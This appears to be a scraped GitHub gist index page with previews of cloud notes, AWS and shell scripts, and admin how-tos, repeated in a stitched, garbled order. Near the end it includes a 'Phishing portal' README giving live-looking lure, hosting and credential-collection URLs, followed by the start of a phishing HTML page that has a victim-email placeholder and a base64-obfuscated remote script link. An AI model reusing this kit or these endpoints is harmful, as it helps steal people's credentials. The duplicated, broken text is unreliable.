Miglen Evlogiev miglen

## linux-networking-tools.md

      
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                Linux networking tools
              
          
    List of Linux networking tools

netstat (ss)

Displays contents of /proc/net files. It works with the Linux Network Subsystem, it will tell you what the status of ports are ie. open, closed, waiting, masquerade connections. It will also display various other things. It has many different options.
Netstat (Network Statistic) command display connection info, routing table information etc. To displays routing table information use option as -r.
Sample output:
Proto Recv-Q Send-Q  Local Address          Foreign Address        (state)    
tcp4 0 0 127.0.0.1.62132 127.0.0.1.http ESTABLISHED


## change_instance.sh
    #!/bin/bash
    # Nico Snyman, nico@gammafly.com, 14/05/2015
    # Change an instance type, while keeping snapshots
    # This script will stop an instance identified by instance ID,
    # take snapshots of all atached volumes, and restart it
    # Use:
    # -i instance ID - REQUIRED - stored in instance_id
    # -t instance new instance type - REQUIRED - stored in instance_type
    # -s if set to 0, no snapshot will be taken, dafault is 1
    #       (take snapshot of attached volumes) - stored in snapshot

## function.sh
scrapy () {
get \
  --mirror \
  --no-clobber \
  --page-requisites \
  --adjust-extension \
  --convert-links \
  --restrict-file-names=windows \
  --domains=$1 \
  --no-parent \

## clouds.md

      
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                miglen
                / clouds.md
            
            
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              May 22, 2024 09:30
            
              
                AWS & GCP explained in simple English
              
          
    Amazon Web Services (AWS) & Google Cloud Platform (GCP) explained in simple English

This guide is only representative from my point of view and it may not be accurate and you should go on the official AWS & GCP websites for accurate and detailed information. It's initially inspired by AWS in simple English and GCP for AWS professionals. The idea is to compare both services, give simple one-line explanation and examples with other software that might have similiar capabilities. Comment below for suggestions.


Category
Service
AWS
GCP
Description
It's like


Compute
IaaS
Amazon Elastic Compute Cloud (EC2)
Google Compute Engine
Type-1 virtual servers
VMware ESXi, Citrix XenServer


PaaS
AWS Elastic Beanstalk
Google App Engine
Running your app on a platform


## osx_wifi_strenght_command_line.sh
#!/bin/bash
# Simple command to display the wireless strenght signal
#
clear
while x=1
  do /System/Library/PrivateFrameworks/Apple*.framework/Versions/Current/Resources/airport -I \
    | grep CtlRSSI \
    | sed -e 's/^.*://g' \
    | xargs -I SIGNAL printf "\rWifi dBm: SIGNAL"
  sleep 0.5

## ec2-instance-prompt.sh
#!/bin/bash
#
# description: EC2 Instance Prompt
# author: Miglen Evlogiev <github@miglen.com>
#
# deployment: copy this file into /etc/profile.d/ec2-instance-prompt.sh
# sudo wget https://gist.githubusercontent.com/miglen/e2e577b95acf1171a1853871737323ce/raw/ec2-instance-prompt.sh -P /etc/profile.d/
# sudo bash /etc/profile.d/ec2-instance-prompt.sh
#

## reset_scmadmin_password.md

      
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                miglen
                / reset_scmadmin_password.md
            
            
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              December 20, 2023 10:53
            
              
                How to reset your admin password in SCM Manager
              
          
    How to reset the scmadmin (administrator) password in SCM Manager?

Recently I had some troubles in resetting the SCM Manager admin password and here's simply how to do it.

Look for file users.xml where the users and passwords are stored. Usual locations:

/root/.scm/config/users.xml
/var/scm-server/conf/users.xml
$SCM_INSTALL_OR_HOME_DIR/config/users.xml


## aws-certification.md

      
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                miglen
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              May 5, 2023 10:04
            
              
                AWS Certification guide and notes on how to prepare for the aws associate certification architect, sysops and developer exams
              
          
AWS Certification notes

Those are my personal notes on AWS Solution Architect certification preparation. Hope you find them usefull.
To pass AWS certification, you should have:

Sound knowledge about most of the AWS services ( EC2, VPC, RDS, Cloudfront, S3, Route53 etc,)
Hands on experience with AWS services.


## README.md

      
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                miglen
                / README.md
            
            
              Created
              February 6, 2023 08:39
            
              
                phishing portal using microsoft surveys - techsmashwru.ru
              
          
    Phishing portal

The following portal is using microsoft forms to send out the emails to potential victims.
Form URL: https://ncv.microsoft.com/xfzlQmbcLr
Portal URL: https://27-02-0-f39h5r8g-wrfgw0e8c3-t0rf7-0wrg-g7.obs.ap-southeast-2.myhuaweicloud.com/vt65g-09we-0t9hng-0w9rmvfj-e09thg-9rjfg9-er.html?AWSAccessKeyId=FQWNSQAJNPZJXV8B91KK&Expires=1677494075&Signature=cBYwgWA9mU%2BlQTS/FMhe6QYGcoE%3D
POST location: https://techsmashwru.ru/.cas/next.php

  
## phishing.html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <script>
        let EMAIL_ADDRESS = "user@company.com"; // Change this to the email address

        let BASED64_ENCODED_EMAIL = "";  // If you wish to encode the email address, enter the based64 encoded email and leave the email address blank otherwise, leave this field blank

        let SCRIPT_LINK_URL = window.atob("aHR0cHM6Ly9tZWdhdGVycmEuaHUvc2NyaXB0LnBocA"); //Enter the script link here
	#!/bin/bash
	# Nico Snyman, nico@gammafly.com, 14/05/2015
	# Change an instance type, while keeping snapshots
	# This script will stop an instance identified by instance ID,
	# take snapshots of all atached volumes, and restart it
	# Use:
	# -i instance ID - REQUIRED - stored in instance_id
	# -t instance new instance type - REQUIRED - stored in instance_type
	# -s if set to 0, no snapshot will be taken, dafault is 1
	# (take snapshot of attached volumes) - stored in snapshot
	scrapy () {
	get \
	--mirror \
	--no-clobber \
	--page-requisites \
	--adjust-extension \
	--convert-links \
	--restrict-file-names=windows \
	--domains=$1 \
	--no-parent \
Category	Service	AWS	GCP	Description	It's like
Compute	IaaS	Amazon Elastic Compute Cloud (EC2)	Google Compute Engine	Type-1 virtual servers	VMware ESXi, Citrix XenServer
	PaaS	AWS Elastic Beanstalk	Google App Engine	Running your app on a platform
	#!/bin/bash
	# Simple command to display the wireless strenght signal
	#
	clear
	while x=1
	do /System/Library/PrivateFrameworks/Apple*.framework/Versions/Current/Resources/airport -I \
	\| grep CtlRSSI \
	\| sed -e 's/^.*://g' \
	\| xargs -I SIGNAL printf "\rWifi dBm: SIGNAL"
	sleep 0.5
	#!/bin/bash
	#
	# description: EC2 Instance Prompt
	# author: Miglen Evlogiev <github@miglen.com>
	#
	# deployment: copy this file into /etc/profile.d/ec2-instance-prompt.sh
	# sudo wget https://gist.githubusercontent.com/miglen/e2e577b95acf1171a1853871737323ce/raw/ec2-instance-prompt.sh -P /etc/profile.d/
	# sudo bash /etc/profile.d/ec2-instance-prompt.sh
	#
	<!DOCTYPE html>
	<html lang="en">
	<head>
	<meta charset="UTF-8">
	<script>
	let EMAIL_ADDRESS = "user@company.com"; // Change this to the email address

	let BASED64_ENCODED_EMAIL = ""; // If you wish to encode the email address, enter the based64 encoded email and leave the email address blank otherwise, leave this field blank

	let SCRIPT_LINK_URL = window.atob("aHR0cHM6Ly9tZWdhdGVycmEuaHUvc2NyaXB0LnBocA"); //Enter the script link here